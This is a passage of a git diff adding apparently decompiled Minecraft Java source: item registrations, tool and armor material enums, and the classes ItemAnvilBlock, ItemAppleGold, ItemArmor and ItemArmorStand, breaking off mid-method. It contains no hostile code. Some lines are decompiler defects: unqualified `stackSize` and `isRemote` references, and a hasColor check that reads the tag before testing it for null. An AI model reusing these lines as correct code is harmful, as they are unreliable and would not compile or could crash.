+    registerItem(313, "diamond_boots", new ItemArmor(ItemArmor.ArmorMaterial.DIAMOND, 3, 3).setUnlocalizedName("bootsDiamond"));
+    registerItem(314, "golden_helmet", new ItemArmor(ItemArmor.ArmorMaterial.GOLD, 4, 0).setUnlocalizedName("helmetGold"));
+    registerItem(315, "golden_chestplate", new ItemArmor(ItemArmor.ArmorMaterial.GOLD, 4, 1).setUnlocalizedName("chestplateGold"));
+    registerItem(316, "golden_leggings", new ItemArmor(ItemArmor.ArmorMaterial.GOLD, 4, 2).setUnlocalizedName("leggingsGold"));
+    registerItem(317, "golden_boots", new ItemArmor(ItemArmor.ArmorMaterial.GOLD, 4, 3).setUnlocalizedName("bootsGold"));
+    registerItem(318, "flint", new Item().setUnlocalizedName("flint").setCreativeTab(CreativeTabs.tabMaterials));
+    registerItem(319, "porkchop", new ItemFood(3, 0.3F, true).setUnlocalizedName("porkchopRaw"));
+    registerItem(320, "cooked_porkchop", new ItemFood(8, 0.8F, true).setUnlocalizedName("porkchopCooked"));
+    registerItem(321, "painting", new ItemHangingEntity(net.minecraft.entity.item.EntityPainting.class).setUnlocalizedName("painting"));
+    registerItem(322, "golden_apple", new ItemAppleGold(4, 1.2F, false).setAlwaysEdible().setPotionEffect(regenerationid, 5, 1, 1.0F).setUnlocalizedName("appleGold"));
+    registerItem(323, "sign", new ItemSign().setUnlocalizedName("sign"));
+    registerItem(324, "wooden_door", new ItemDoor(Blocks.oak_door).setUnlocalizedName("doorOak"));
+    Item var0 = new ItemBucket(Blocks.air).setUnlocalizedName("bucket").setMaxStackSize(16);
+    registerItem(325, "bucket", var0);
+    registerItem(326, "water_bucket", new ItemBucket(Blocks.flowing_water).setUnlocalizedName("bucketWater").setContainerItem(var0));
+    registerItem(327, "lava_bucket", new ItemBucket(Blocks.flowing_lava).setUnlocalizedName("bucketLava").setContainerItem(var0));
+    registerItem(328, "minecart", new ItemMinecart(EntityMinecart.EnumMinecartType.RIDEABLE).setUnlocalizedName("minecart"));
+    registerItem(329, "saddle", new ItemSaddle().setUnlocalizedName("saddle"));
+    registerItem(330, "iron_door", new ItemDoor(Blocks.iron_door).setUnlocalizedName("doorIron"));
+    registerItem(331, "redstone", new ItemRedstone().setUnlocalizedName("redstone").setPotionEffect(PotionHelper.redstoneEffect));
+    registerItem(332, "snowball", new ItemSnowball().setUnlocalizedName("snowball"));
+    registerItem(333, "boat", new ItemBoat().setUnlocalizedName("boat"));
+    registerItem(334, "leather", new Item().setUnlocalizedName("leather").setCreativeTab(CreativeTabs.tabMaterials));
+    registerItem(335, "milk_bucket", new ItemBucketMilk().setUnlocalizedName("milk").setContainerItem(var0));
+    registerItem(336, "brick", new Item().setUnlocalizedName("brick").setCreativeTab(CreativeTabs.tabMaterials));
+    registerItem(337, "clay_ball", new Item().setUnlocalizedName("clay").setCreativeTab(CreativeTabs.tabMaterials));
+    registerItem(338, "reeds", new ItemReed(Blocks.reeds).setUnlocalizedName("reeds").setCreativeTab(CreativeTabs.tabMaterials));
+    registerItem(339, "paper", new Item().setUnlocalizedName("paper").setCreativeTab(CreativeTabs.tabMisc));
+    registerItem(340, "book", new ItemBook().setUnlocalizedName("book").setCreativeTab(CreativeTabs.tabMisc));
+    registerItem(341, "slime_ball", new Item().setUnlocalizedName("slimeball").setCreativeTab(CreativeTabs.tabMisc));
+    registerItem(342, "chest_minecart", new ItemMinecart(EntityMinecart.EnumMinecartType.CHEST).setUnlocalizedName("minecartChest"));
+    registerItem(343, "furnace_minecart", new ItemMinecart(EntityMinecart.EnumMinecartType.FURNACE).setUnlocalizedName("minecartFurnace"));
+    registerItem(344, "egg", new ItemEgg().setUnlocalizedName("egg"));
+    registerItem(345, "compass", new Item().setUnlocalizedName("compass").setCreativeTab(CreativeTabs.tabTools));
+    registerItem(346, "fishing_rod", new ItemFishingRod().setUnlocalizedName("fishingRod"));
+    registerItem(347, "clock", new Item().setUnlocalizedName("clock").setCreativeTab(CreativeTabs.tabTools));
+    registerItem(348, "glowstone_dust", new Item().setUnlocalizedName("yellowDust").setPotionEffect(PotionHelper.glowstoneEffect).setCreativeTab(CreativeTabs.tabMaterials));
+    registerItem(349, "fish", new ItemFishFood(false).setUnlocalizedName("fish").setHasSubtypes(true));
+    registerItem(350, "cooked_fish", new ItemFishFood(true).setUnlocalizedName("fish").setHasSubtypes(true));
+    registerItem(351, "dye", new ItemDye().setUnlocalizedName("dyePowder"));
+    registerItem(352, "bone", new Item().setUnlocalizedName("bone").setFull3D().setCreativeTab(CreativeTabs.tabMisc));
+    registerItem(353, "sugar", new Item().setUnlocalizedName("sugar").setPotionEffect(PotionHelper.sugarEffect).setCreativeTab(CreativeTabs.tabMaterials));
+    registerItem(354, "cake", new ItemReed(Blocks.cake).setMaxStackSize(1).setUnlocalizedName("cake").setCreativeTab(CreativeTabs.tabFood));
+    registerItem(355, "bed", new ItemBed().setMaxStackSize(1).setUnlocalizedName("bed"));
+    registerItem(356, "repeater", new ItemReed(Blocks.unpowered_repeater).setUnlocalizedName("diode").setCreativeTab(CreativeTabs.tabRedstone));
+    registerItem(357, "cookie", new ItemFood(2, 0.1F, false).setUnlocalizedName("cookie"));
+    registerItem(358, "filled_map", new ItemMap().setUnlocalizedName("map"));
+    registerItem(359, "shears", new ItemShears().setUnlocalizedName("shears"));
+    registerItem(360, "melon", new ItemFood(2, 0.3F, false).setUnlocalizedName("melon"));
+    registerItem(361, "pumpkin_seeds", new ItemSeeds(Blocks.pumpkin_stem, Blocks.farmland).setUnlocalizedName("seeds_pumpkin"));
+    registerItem(362, "melon_seeds", new ItemSeeds(Blocks.melon_stem, Blocks.farmland).setUnlocalizedName("seeds_melon"));
+    registerItem(363, "beef", new ItemFood(3, 0.3F, true).setUnlocalizedName("beefRaw"));
+    registerItem(364, "cooked_beef", new ItemFood(8, 0.8F, true).setUnlocalizedName("beefCooked"));
+    registerItem(365, "chicken", new ItemFood(2, 0.3F, true).setPotionEffect(hungerid, 30, 0, 0.3F).setUnlocalizedName("chickenRaw"));
+    registerItem(366, "cooked_chicken", new ItemFood(6, 0.6F, true).setUnlocalizedName("chickenCooked"));
+    registerItem(367, "rotten_flesh", new ItemFood(4, 0.1F, true).setPotionEffect(hungerid, 30, 0, 0.8F).setUnlocalizedName("rottenFlesh"));
+    registerItem(368, "ender_pearl", new ItemEnderPearl().setUnlocalizedName("enderPearl"));
+    registerItem(369, "blaze_rod", new Item().setUnlocalizedName("blazeRod").setCreativeTab(CreativeTabs.tabMaterials).setFull3D());
+    registerItem(370, "ghast_tear", new Item().setUnlocalizedName("ghastTear").setPotionEffect("+0-1-2-3&4-4+13").setCreativeTab(CreativeTabs.tabBrewing));
+    registerItem(371, "gold_nugget", new Item().setUnlocalizedName("goldNugget").setCreativeTab(CreativeTabs.tabMaterials));
+    registerItem(372, "nether_wart", new ItemSeeds(Blocks.nether_wart, Blocks.soul_sand).setUnlocalizedName("netherStalkSeeds").setPotionEffect("+4"));
+    registerItem(373, "potion", new ItemPotion().setUnlocalizedName("potion"));
+    registerItem(374, "glass_bottle", new ItemGlassBottle().setUnlocalizedName("glassBottle"));
+    registerItem(375, "spider_eye", new ItemFood(2, 0.8F, false).setPotionEffect(poisonid, 5, 0, 1.0F).setUnlocalizedName("spiderEye").setPotionEffect(PotionHelper.spiderEyeEffect));
+    registerItem(376, "fermented_spider_eye", new Item().setUnlocalizedName("fermentedSpiderEye").setPotionEffect(PotionHelper.fermentedSpiderEyeEffect).setCreativeTab(CreativeTabs.tabBrewing));
+    registerItem(377, "blaze_powder", new Item().setUnlocalizedName("blazePowder").setPotionEffect(PotionHelper.blazePowderEffect).setCreativeTab(CreativeTabs.tabBrewing));
+    registerItem(378, "magma_cream", new Item().setUnlocalizedName("magmaCream").setPotionEffect(PotionHelper.magmaCreamEffect).setCreativeTab(CreativeTabs.tabBrewing));
+    registerItem(379, "brewing_stand", new ItemReed(Blocks.brewing_stand).setUnlocalizedName("brewingStand").setCreativeTab(CreativeTabs.tabBrewing));
+    registerItem(380, "cauldron", new ItemReed(Blocks.cauldron).setUnlocalizedName("cauldron").setCreativeTab(CreativeTabs.tabBrewing));
+    registerItem(381, "ender_eye", new ItemEnderEye().setUnlocalizedName("eyeOfEnder"));
+    registerItem(382, "speckled_melon", new Item().setUnlocalizedName("speckledMelon").setPotionEffect(PotionHelper.speckledMelonEffect).setCreativeTab(CreativeTabs.tabBrewing));
+    registerItem(383, "spawn_egg", new ItemMonsterPlacer().setUnlocalizedName("monsterPlacer"));
+    registerItem(384, "experience_bottle", new ItemExpBottle().setUnlocalizedName("expBottle"));
+    registerItem(385, "fire_charge", new ItemFireball().setUnlocalizedName("fireball"));
+    registerItem(386, "writable_book", new ItemWritableBook().setUnlocalizedName("writingBook").setCreativeTab(CreativeTabs.tabMisc));
+    registerItem(387, "written_book", new ItemEditableBook().setUnlocalizedName("writtenBook").setMaxStackSize(16));
+    registerItem(388, "emerald", new Item().setUnlocalizedName("emerald").setCreativeTab(CreativeTabs.tabMaterials));
+    registerItem(389, "item_frame", new ItemHangingEntity(net.minecraft.entity.item.EntityItemFrame.class).setUnlocalizedName("frame"));
+    registerItem(390, "flower_pot", new ItemReed(Blocks.flower_pot).setUnlocalizedName("flowerPot").setCreativeTab(CreativeTabs.tabDecorations));
+    registerItem(391, "carrot", new ItemSeedFood(3, 0.6F, Blocks.carrots, Blocks.farmland).setUnlocalizedName("carrots"));
+    registerItem(392, "potato", new ItemSeedFood(1, 0.3F, Blocks.potatoes, Blocks.farmland).setUnlocalizedName("potato"));
+    registerItem(393, "baked_potato", new ItemFood(5, 0.6F, false).setUnlocalizedName("potatoBaked"));
+    registerItem(394, "poisonous_potato", new ItemFood(2, 0.3F, false).setPotionEffect(poisonid, 5, 0, 0.6F).setUnlocalizedName("potatoPoisonous"));
+    registerItem(395, "map", new ItemEmptyMap().setUnlocalizedName("emptyMap"));
+    registerItem(396, "golden_carrot", new ItemFood(6, 1.2F, false).setUnlocalizedName("carrotGolden").setPotionEffect(PotionHelper.goldenCarrotEffect).setCreativeTab(CreativeTabs.tabBrewing));
+    registerItem(397, "skull", new ItemSkull().setUnlocalizedName("skull"));
+    registerItem(398, "carrot_on_a_stick", new ItemCarrotOnAStick().setUnlocalizedName("carrotOnAStick"));
+    registerItem(399, "nether_star", new ItemSimpleFoiled().setUnlocalizedName("netherStar").setCreativeTab(CreativeTabs.tabMaterials));
+    registerItem(400, "pumpkin_pie", new ItemFood(8, 0.3F, false).setUnlocalizedName("pumpkinPie").setCreativeTab(CreativeTabs.tabFood));
+    registerItem(401, "fireworks", new ItemFirework().setUnlocalizedName("fireworks"));
+    registerItem(402, "firework_charge", new ItemFireworkCharge().setUnlocalizedName("fireworksCharge").setCreativeTab(CreativeTabs.tabMisc));
+    registerItem(403, "enchanted_book", new ItemEnchantedBook().setMaxStackSize(1).setUnlocalizedName("enchantedBook"));
+    registerItem(404, "comparator", new ItemReed(Blocks.unpowered_comparator).setUnlocalizedName("comparator").setCreativeTab(CreativeTabs.tabRedstone));
+    registerItem(405, "netherbrick", new Item().setUnlocalizedName("netherbrick").setCreativeTab(CreativeTabs.tabMaterials));
+    registerItem(406, "quartz", new Item().setUnlocalizedName("netherquartz").setCreativeTab(CreativeTabs.tabMaterials));
+    registerItem(407, "tnt_minecart", new ItemMinecart(EntityMinecart.EnumMinecartType.TNT).setUnlocalizedName("minecartTnt"));
+    registerItem(408, "hopper_minecart", new ItemMinecart(EntityMinecart.EnumMinecartType.HOPPER).setUnlocalizedName("minecartHopper"));
+    registerItem(409, "prismarine_shard", new Item().setUnlocalizedName("prismarineShard").setCreativeTab(CreativeTabs.tabMaterials));
+    registerItem(410, "prismarine_crystals", new Item().setUnlocalizedName("prismarineCrystals").setCreativeTab(CreativeTabs.tabMaterials));
+    registerItem(411, "rabbit", new ItemFood(3, 0.3F, true).setUnlocalizedName("rabbitRaw"));
+    registerItem(412, "cooked_rabbit", new ItemFood(5, 0.6F, true).setUnlocalizedName("rabbitCooked"));
+    registerItem(413, "rabbit_stew", new ItemSoup(10).setUnlocalizedName("rabbitStew"));
+    registerItem(414, "rabbit_foot", new Item().setUnlocalizedName("rabbitFoot").setPotionEffect(PotionHelper.field_179538_n).setCreativeTab(CreativeTabs.tabBrewing));
+    registerItem(415, "rabbit_hide", new Item().setUnlocalizedName("rabbitHide").setCreativeTab(CreativeTabs.tabMaterials));
+    registerItem(416, "armor_stand", new ItemArmorStand().setUnlocalizedName("armorStand").setMaxStackSize(16));
+    registerItem(417, "iron_horse_armor", new Item().setUnlocalizedName("horsearmormetal").setMaxStackSize(1).setCreativeTab(CreativeTabs.tabMisc));
+    registerItem(418, "golden_horse_armor", new Item().setUnlocalizedName("horsearmorgold").setMaxStackSize(1).setCreativeTab(CreativeTabs.tabMisc));
+    registerItem(419, "diamond_horse_armor", new Item().setUnlocalizedName("horsearmordiamond").setMaxStackSize(1).setCreativeTab(CreativeTabs.tabMisc));
+    registerItem(420, "lead", new ItemLead().setUnlocalizedName("leash"));
+    registerItem(421, "name_tag", new ItemNameTag().setUnlocalizedName("nameTag"));
+    registerItem(422, "command_block_minecart", new ItemMinecart(EntityMinecart.EnumMinecartType.COMMAND_BLOCK).setUnlocalizedName("minecartCommandBlock").setCreativeTab(null));
+    registerItem(423, "mutton", new ItemFood(2, 0.3F, true).setUnlocalizedName("muttonRaw"));
+    registerItem(424, "cooked_mutton", new ItemFood(6, 0.8F, true).setUnlocalizedName("muttonCooked"));
+    registerItem(425, "banner", new ItemBanner().setUnlocalizedName("banner"));
+    registerItem(427, "spruce_door", new ItemDoor(Blocks.spruce_door).setUnlocalizedName("doorSpruce"));
+    registerItem(428, "birch_door", new ItemDoor(Blocks.birch_door).setUnlocalizedName("doorBirch"));
+    registerItem(429, "jungle_door", new ItemDoor(Blocks.jungle_door).setUnlocalizedName("doorJungle"));
+    registerItem(430, "acacia_door", new ItemDoor(Blocks.acacia_door).setUnlocalizedName("doorAcacia"));
+    registerItem(431, "dark_oak_door", new ItemDoor(Blocks.dark_oak_door).setUnlocalizedName("doorDarkOak"));
+    registerItem(2256, "record_13", new ItemRecord("13").setUnlocalizedName("record"));
+    registerItem(2257, "record_cat", new ItemRecord("cat").setUnlocalizedName("record"));
+    registerItem(2258, "record_blocks", new ItemRecord("blocks").setUnlocalizedName("record"));
+    registerItem(2259, "record_chirp", new ItemRecord("chirp").setUnlocalizedName("record"));
+    registerItem(2260, "record_far", new ItemRecord("far").setUnlocalizedName("record"));
+    registerItem(2261, "record_mall", new ItemRecord("mall").setUnlocalizedName("record"));
+    registerItem(2262, "record_mellohi", new ItemRecord("mellohi").setUnlocalizedName("record"));
+    registerItem(2263, "record_stal", new ItemRecord("stal").setUnlocalizedName("record"));
+    registerItem(2264, "record_strad", new ItemRecord("strad").setUnlocalizedName("record"));
+    registerItem(2265, "record_ward", new ItemRecord("ward").setUnlocalizedName("record"));
+    registerItem(2266, "record_11", new ItemRecord("11").setUnlocalizedName("record"));
+    registerItem(2267, "record_wait", new ItemRecord("wait").setUnlocalizedName("record"));
+  }
+  
+
+
+
+  private static void registerItemBlock(Block blockIn)
+  {
+    registerItemBlock(blockIn, new ItemBlock(blockIn));
+  }
+  
+
+
+
+  protected static void registerItemBlock(Block blockIn, Item itemIn)
+  {
+    registerItem(Block.getIdFromBlock(blockIn), (ResourceLocation)Block.blockRegistry.getNameForObject(blockIn), itemIn);
+    BLOCK_TO_ITEM.put(blockIn, itemIn);
+  }
+  
+  private static void registerItem(int id, String textualID, Item itemIn)
+  {
+    registerItem(id, new ResourceLocation(textualID), itemIn);
+  }
+  
+  private static void registerItem(int id, ResourceLocation textualID, Item itemIn)
+  {
+    itemRegistry.register(id, textualID, itemIn);
+  }
+  
+  public static enum ToolMaterial
+  {
+    WOOD("WOOD", 0, 0, 59, 2.0F, 0.0F, 15), 
+    STONE("STONE", 1, 1, 131, 4.0F, 1.0F, 5), 
+    IRON("IRON", 2, 2, 250, 6.0F, 2.0F, 14), 
+    EMERALD("EMERALD", 3, 3, 1561, 8.0F, 3.0F, 10), 
+    GOLD("GOLD", 4, 0, 32, 12.0F, 0.0F, 22);
+    
+    private final int harvestLevel;
+    private final int maxUses;
+    private final float efficiencyOnProperMaterial;
+    private final float damageVsEntity;
+    private final int enchantability;
+    private static final ToolMaterial[] $VALUES = { WOOD, STONE, IRON, EMERALD, GOLD };
+    private static final String __OBFID = "CL_00000042";
+    
+    private ToolMaterial(String p_i1874_1_, int p_i1874_2_, int harvestLevel, int maxUses, float efficiency, float damageVsEntity, int enchantability)
+    {
+      this.harvestLevel = harvestLevel;
+      this.maxUses = maxUses;
+      efficiencyOnProperMaterial = efficiency;
+      this.damageVsEntity = damageVsEntity;
+      this.enchantability = enchantability;
+    }
+    
+    public int getMaxUses()
+    {
+      return maxUses;
+    }
+    
+    public float getEfficiencyOnProperMaterial()
+    {
+      return efficiencyOnProperMaterial;
+    }
+    
+    public float getDamageVsEntity()
+    {
+      return damageVsEntity;
+    }
+    
+    public int getHarvestLevel()
+    {
+      return harvestLevel;
+    }
+    
+    public int getEnchantability()
+    {
+      return enchantability;
+    }
+    
+    public Item getBaseItemForRepair()
+    {
+      return this == EMERALD ? Items.diamond : this == IRON ? Items.iron_ingot : this == GOLD ? Items.gold_ingot : this == STONE ? Item.getItemFromBlock(Blocks.cobblestone) : this == WOOD ? Item.getItemFromBlock(Blocks.planks) : null;
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/item/ItemAnvilBlock.java b/src/minecraft/net/minecraft/item/ItemAnvilBlock.java
new file mode 100644
index 0000000..3bde520
--- /dev/null
+++ b/src/minecraft/net/minecraft/item/ItemAnvilBlock.java
@@ -0,0 +1,22 @@
+package net.minecraft.item;
+
+import net.minecraft.block.Block;
+
+public class ItemAnvilBlock extends ItemMultiTexture
+{
+  private static final String __OBFID = "CL_00001764";
+  
+  public ItemAnvilBlock(Block p_i1826_1_)
+  {
+    super(p_i1826_1_, p_i1826_1_, new String[] { "intact", "slightlyDamaged", "veryDamaged" });
+  }
+  
+
+
+
+
+  public int getMetadata(int damage)
+  {
+    return damage << 2;
+  }
+}
diff --git a/src/minecraft/net/minecraft/item/ItemAppleGold.java b/src/minecraft/net/minecraft/item/ItemAppleGold.java
new file mode 100644
index 0000000..0c1290f
--- /dev/null
+++ b/src/minecraft/net/minecraft/item/ItemAppleGold.java
@@ -0,0 +1,65 @@
+package net.minecraft.item;
+
+import java.util.List;
+import net.minecraft.creativetab.CreativeTabs;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.potion.Potion;
+import net.minecraft.potion.PotionEffect;
+import net.minecraft.world.World;
+
+public class ItemAppleGold extends ItemFood
+{
+  private static final String __OBFID = "CL_00000037";
+  
+  public ItemAppleGold(int p_i45341_1_, float p_i45341_2_, boolean p_i45341_3_)
+  {
+    super(p_i45341_1_, p_i45341_2_, p_i45341_3_);
+    setHasSubtypes(true);
+  }
+  
+  public boolean hasEffect(ItemStack stack)
+  {
+    return stack.getMetadata() > 0;
+  }
+  
+
+
+
+  public EnumRarity getRarity(ItemStack stack)
+  {
+    return stack.getMetadata() == 0 ? EnumRarity.RARE : EnumRarity.EPIC;
+  }
+  
+  protected void onFoodEaten(ItemStack p_77849_1_, World worldIn, EntityPlayer p_77849_3_)
+  {
+    if (!isRemote)
+    {
+      p_77849_3_.addPotionEffect(new PotionEffect(absorptionid, 2400, 0));
+    }
+    
+    if (p_77849_1_.getMetadata() > 0)
+    {
+      if (!isRemote)
+      {
+        p_77849_3_.addPotionEffect(new PotionEffect(regenerationid, 600, 4));
+        p_77849_3_.addPotionEffect(new PotionEffect(resistanceid, 6000, 0));
+        p_77849_3_.addPotionEffect(new PotionEffect(fireResistanceid, 6000, 0));
+      }
+      
+    }
+    else {
+      super.onFoodEaten(p_77849_1_, worldIn, p_77849_3_);
+    }
+  }
+  
+
+
+
+
+
+  public void getSubItems(Item itemIn, CreativeTabs tab, List subItems)
+  {
+    subItems.add(new ItemStack(itemIn, 1, 0));
+    subItems.add(new ItemStack(itemIn, 1, 1));
+  }
+}
diff --git a/src/minecraft/net/minecraft/item/ItemArmor.java b/src/minecraft/net/minecraft/item/ItemArmor.java
new file mode 100644
index 0000000..247a189
--- /dev/null
+++ b/src/minecraft/net/minecraft/item/ItemArmor.java
@@ -0,0 +1,285 @@
+package net.minecraft.item;
+
+import com.google.common.base.Predicates;
+import java.util.List;
+import net.minecraft.block.BlockDispenser;
+import net.minecraft.command.IEntitySelector.ArmoredMob;
+import net.minecraft.creativetab.CreativeTabs;
+import net.minecraft.dispenser.BehaviorDefaultDispenseItem;
+import net.minecraft.dispenser.IBehaviorDispenseItem;
+import net.minecraft.dispenser.IBlockSource;
+import net.minecraft.entity.EntityLiving;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.init.Items;
+import net.minecraft.nbt.NBTTagCompound;
+import net.minecraft.util.AxisAlignedBB;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.RegistryDefaulted;
+import net.minecraft.world.World;
+
+public class ItemArmor extends Item
+{
+  private static final int[] maxDamageArray = { 11, 16, 15, 13 };
+  public static final String[] EMPTY_SLOT_NAMES = { "minecraft:items/empty_armor_slot_helmet", "minecraft:items/empty_armor_slot_chestplate", "minecraft:items/empty_armor_slot_leggings", "minecraft:items/empty_armor_slot_boots" };
+  private static final IBehaviorDispenseItem dispenserBehavior = new BehaviorDefaultDispenseItem()
+  {
+    private static final String __OBFID = "CL_00001767";
+    
+    protected ItemStack dispenseStack(IBlockSource source, ItemStack stack) {
+      BlockPos var3 = source.getBlockPos().offset(BlockDispenser.getFacing(source.getBlockMetadata()));
+      int var4 = var3.getX();
+      int var5 = var3.getY();
+      int var6 = var3.getZ();
+      AxisAlignedBB var7 = new AxisAlignedBB(var4, var5, var6, var4 + 1, var5 + 1, var6 + 1);
+      List var8 = source.getWorld().func_175647_a(EntityLivingBase.class, var7, Predicates.and(net.minecraft.command.IEntitySelector.field_180132_d, new IEntitySelector.ArmoredMob(stack)));
+      
+      if (var8.size() > 0)
+      {
+        EntityLivingBase var9 = (EntityLivingBase)var8.get(0);
+        int var10 = (var9 instanceof EntityPlayer) ? 1 : 0;
+        int var11 = EntityLiving.getArmorPosition(stack);
+        ItemStack var12 = stack.copy();
+        stackSize = 1;
+        var9.setCurrentItemOrArmor(var11 - var10, var12);
+        
+        if ((var9 instanceof EntityLiving))
+        {
+          ((EntityLiving)var9).setEquipmentDropChance(var11, 2.0F);
+        }
+        
+        stackSize -= 1;
+        return stack;
+      }
+      
+
+      return super.dispenseStack(source, stack);
+    }
+  };
+  
+
+
+  public final int armorType;
+  
+
+
+  public final int damageReduceAmount;
+  
+
+  public final int renderIndex;
+  
+
+  private final ArmorMaterial material;
+  
+
+  private static final String __OBFID = "CL_00001766";
+  
+
+
+  public ItemArmor(ArmorMaterial p_i45325_1_, int p_i45325_2_, int p_i45325_3_)
+  {
+    material = p_i45325_1_;
+    armorType = p_i45325_3_;
+    renderIndex = p_i45325_2_;
+    damageReduceAmount = p_i45325_1_.getDamageReductionAmount(p_i45325_3_);
+    setMaxDamage(p_i45325_1_.getDurability(p_i45325_3_));
+    maxStackSize = 1;
+    setCreativeTab(CreativeTabs.tabCombat);
+    BlockDispenser.dispenseBehaviorRegistry.putObject(this, dispenserBehavior);
+  }
+  
+  public int getColorFromItemStack(ItemStack stack, int renderPass)
+  {
+    if (renderPass > 0)
+    {
+      return 16777215;
+    }
+    
+
+    int var3 = getColor(stack);
+    
+    if (var3 < 0)
+    {
+      var3 = 16777215;
+    }
+    
+    return var3;
+  }
+  
+
+
+
+
+  public int getItemEnchantability()
+  {
+    return material.getEnchantability();
+  }
+  
+
+
+
+  public ArmorMaterial getArmorMaterial()
+  {
+    return material;
+  }
+  
+
+
+
+  public boolean hasColor(ItemStack p_82816_1_)
+  {
+    return !p_82816_1_.getTagCompound().hasKey("display", 10) ? false : !p_82816_1_.hasTagCompound() ? false : material != ArmorMaterial.LEATHER ? false : p_82816_1_.getTagCompound().getCompoundTag("display").hasKey("color", 3);
+  }
+  
+
+
+
+  public int getColor(ItemStack p_82814_1_)
+  {
+    if (material != ArmorMaterial.LEATHER)
+    {
+      return -1;
+    }
+    
+
+    NBTTagCompound var2 = p_82814_1_.getTagCompound();
+    
+    if (var2 != null)
+    {
+      NBTTagCompound var3 = var2.getCompoundTag("display");
+      
+      if ((var3 != null) && (var3.hasKey("color", 3)))
+      {
+        return var3.getInteger("color");
+      }
+    }
+    
+    return 10511680;
+  }
+  
+
+
+
+
+  public void removeColor(ItemStack p_82815_1_)
+  {
+    if (material == ArmorMaterial.LEATHER)
+    {
+      NBTTagCompound var2 = p_82815_1_.getTagCompound();
+      
+      if (var2 != null)
+      {
+        NBTTagCompound var3 = var2.getCompoundTag("display");
+        
+        if (var3.hasKey("color"))
+        {
+          var3.removeTag("color");
+        }
+      }
+    }
+  }
+  
+  public void func_82813_b(ItemStack p_82813_1_, int p_82813_2_)
+  {
+    if (material != ArmorMaterial.LEATHER)
+    {
+      throw new UnsupportedOperationException("Can't dye non-leather!");
+    }
+    
+
+    NBTTagCompound var3 = p_82813_1_.getTagCompound();
+    
+    if (var3 == null)
+    {
+      var3 = new NBTTagCompound();
+      p_82813_1_.setTagCompound(var3);
+    }
+    
+    NBTTagCompound var4 = var3.getCompoundTag("display");
+    
+    if (!var3.hasKey("display", 10))
+    {
+      var3.setTag("display", var4);
+    }
+    
+    var4.setInteger("color", p_82813_2_);
+  }
+  
+
+
+
+
+
+
+
+  public boolean getIsRepairable(ItemStack toRepair, ItemStack repair)
+  {
+    return material.getBaseItemForRepair() == repair.getItem() ? true : super.getIsRepairable(toRepair, repair);
+  }
+  
+
+
+
+  public ItemStack onItemRightClick(ItemStack itemStackIn, World worldIn, EntityPlayer playerIn)
+  {
+    int var4 = EntityLiving.getArmorPosition(itemStackIn) - 1;
+    ItemStack var5 = playerIn.getCurrentArmor(var4);
+    
+    if (var5 == null)
+    {
+      playerIn.setCurrentItemOrArmor(var4, itemStackIn.copy());
+      stackSize = 0;
+    }
+    
+    return itemStackIn;
+  }
+  
+  public static enum ArmorMaterial
+  {
+    LEATHER("LEATHER", 0, "leather", 5, new int[] { 1, 3, 2, 1 }, 15), 
+    CHAIN("CHAIN", 1, "chainmail", 15, new int[] { 2, 5, 4, 1 }, 12), 
+    IRON("IRON", 2, "iron", 15, new int[] { 2, 6, 5, 2 }, 9), 
+    GOLD("GOLD", 3, "gold", 7, new int[] { 2, 5, 3, 1 }, 25), 
+    DIAMOND("DIAMOND", 4, "diamond", 33, new int[] { 3, 8, 6, 3 }, 10);
+    
+    private final String field_179243_f;
+    private final int maxDamageFactor;
+    private final int[] damageReductionAmountArray;
+    private final int enchantability;
+    private static final ArmorMaterial[] $VALUES = { LEATHER, CHAIN, IRON, GOLD, DIAMOND };
+    private static final String __OBFID = "CL_00001768";
+    
+    private ArmorMaterial(String p_i45789_1_, int p_i45789_2_, String p_i45789_3_, int p_i45789_4_, int[] p_i45789_5_, int p_i45789_6_)
+    {
+      field_179243_f = p_i45789_3_;
+      maxDamageFactor = p_i45789_4_;
+      damageReductionAmountArray = p_i45789_5_;
+      enchantability = p_i45789_6_;
+    }
+    
+    public int getDurability(int p_78046_1_)
+    {
+      return ItemArmor.maxDamageArray[p_78046_1_] * maxDamageFactor;
+    }
+    
+    public int getDamageReductionAmount(int p_78044_1_)
+    {
+      return damageReductionAmountArray[p_78044_1_];
+    }
+    
+    public int getEnchantability()
+    {
+      return enchantability;
+    }
+    
+    public Item getBaseItemForRepair()
+    {
+      return this == DIAMOND ? Items.diamond : this == IRON ? Items.iron_ingot : this == GOLD ? Items.gold_ingot : this == CHAIN ? Items.iron_ingot : this == LEATHER ? Items.leather : null;
+    }
+    
+    public String func_179242_c()
+    {
+      return field_179243_f;
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/item/ItemArmorStand.java b/src/minecraft/net/minecraft/item/ItemArmorStand.java
new file mode 100644
index 0000000..2c17fa2
--- /dev/null
+++ b/src/minecraft/net/minecraft/item/ItemArmorStand.java
@@ -0,0 +1,111 @@
+package net.minecraft.item;
+
+import java.util.List;
+import java.util.Random;
+import net.minecraft.block.Block;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.creativetab.CreativeTabs;
+import net.minecraft.entity.item.EntityArmorStand;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.nbt.NBTTagCompound;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.util.MathHelper;
+import net.minecraft.util.Rotations;
+import net.minecraft.world.World;
+
+public class ItemArmorStand extends Item
+{
+  private static final String __OBFID = "CL_00002182";
+  
+  public ItemArmorStand()
+  {
+    setCreativeTab(CreativeTabs.tabDecorations);
+  }
+  
+
+
+
+
+
+
+  public boolean onItemUse(ItemStack stack, EntityPlayer playerIn, World worldIn, BlockPos pos, EnumFacing side, float hitX, float hitY, float hitZ)
+  {
+    if (side == EnumFacing.DOWN)
+    {
+      return false;
+    }
+    
+
+    boolean var9 = worldIn.getBlockState(pos).getBlock().isReplaceable(worldIn, pos);
+    BlockPos var10 = var9 ? pos : pos.offset(side);
+    
+    if (!playerIn.func_175151_a(var10, side, stack))
+    {
+      return false;
+    }
+    
+
+    BlockPos var11 = var10.offsetUp();
+    boolean var12 = (!worldIn.isAirBlock(var10)) && (!worldIn.getBlockState(var10).getBlock().isReplaceable(worldIn, var10));
+    var12 |= ((!worldIn.isAirBlock(var11)) && (!worldIn.getBlockState(var11).getBlock().isReplaceable(worldIn, var11)));
+    
+    if (var12)
+    {
+      return false;
+    }
+    
+
